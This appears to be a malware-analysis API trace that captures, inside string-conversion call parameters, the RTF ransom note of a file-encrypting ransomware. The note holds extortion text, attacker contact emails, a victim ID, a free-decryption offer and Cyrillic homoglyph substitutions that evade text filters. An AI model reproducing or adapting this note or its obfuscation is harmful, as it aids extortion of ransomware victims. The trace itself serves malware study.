ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1de4de8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 